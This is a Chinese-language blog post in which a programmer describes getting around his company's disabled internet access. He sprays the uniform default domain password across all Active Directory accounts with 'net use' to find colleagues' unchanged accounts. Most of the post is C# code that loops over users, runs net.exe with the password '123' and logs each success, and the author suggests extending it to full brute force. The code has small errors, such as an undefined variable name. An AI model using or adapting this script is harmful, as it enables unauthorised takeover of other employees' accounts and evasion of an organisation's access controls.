背景
我的職業(yè)是程序猿,而所在的工作單位因各種原因,對上網(wǎng)帳號有嚴(yán)格控制,近期竟然把我們的上網(wǎng)帳號全部停用,作為程序猿,不能上網(wǎng),就如同魚兒沒有水,煮飯沒有米,必須想辦法解決此問題。公司的局域網(wǎng)環(huán)境是AD域環(huán)境,上網(wǎng)帳號就是域帳號,公司有上萬人,每個帳號在建立時都是統(tǒng)一的初始密碼,且很多用戶懶得不愿意修改初始密碼。因此,稍動腦筋,就有了此破解之道。
原理
Windows中有個net use命令,用于將計算機(jī)與共享的資源相連接(建立磁盤映射),或者切斷計算機(jī)與共享資源的連接(刪除磁盤映射),對應(yīng)的圖形界面如下圖所示。

net use 命令對應(yīng)的圖形界面
net use命令的格式及詳細(xì)說明可參考:https://technet.microsoft.com/en-us/library/bb490717.aspx
簡單地說,net use命令可以使用指定的用戶名和密碼,映射網(wǎng)絡(luò)中的共享位置。
舉例:net use \\waaicd2 /user:domain\user001 mypassword,其中domain\user001表示用戶名,mypassword表示密碼。在命令行窗口執(zhí)行這條命令后,如果用戶名和密碼正確,則會提示"命令成功完成。",否則提示“登錄失敗: 未知的用戶名或錯誤密碼?!?/p>
想必看到這里,只要有點編程基礎(chǔ)的人都在心里呵呵笑了,前面的背景中提到,域帳號初始密碼是統(tǒng)一的,因此,我們只需要把域中的所有用戶名窮舉出來,套上這條命令,就能知道哪些用戶沒有修改初始密碼了。翠花,上代碼。
代碼
Listusers = GetUserList()
foreach (var user in users)
{
System.Diagnostics.ProcessStartInfo pInfo = new System.Diagnostics.ProcessStartInfo();
pInfo.FileName = "C:\\Windows\\System32\\net.exe";
pInfo.Arguments = "use \\\\計算機(jī)名\\共享目錄$ /user:domain\\" + staffno + " 123";
pInfo.UseShellExecute = false;
pInfo.RedirectStandardError = true;
pInfo.RedirectStandardOutput = true;
pInfo.CreateNoWindow = true;
System.Diagnostics.Process proc;
proc = System.Diagnostics.Process.Start(pInfo);
StreamReader myStreamReader = proc.StandardOutput;
string myString = myStreamReader.ReadLine();
if (myString != null && myString.Contains("命令成功完成"))
{
WriteResult(staffno);
}
proc.WaitForExit();
proc.Close();
pInfo.Arguments = "use \\\\計算機(jī)名\\共享目錄$ /delete";
System.Diagnostics.Process.Start(pInfo);
}
結(jié)束語
這種方法雖然簡單,但也不失為一種解決問題的途徑,甚至可以擴(kuò)展成更牛B的暴力破解。但各位讀者不要用此方法去做一些違反職業(yè)道德的事哦!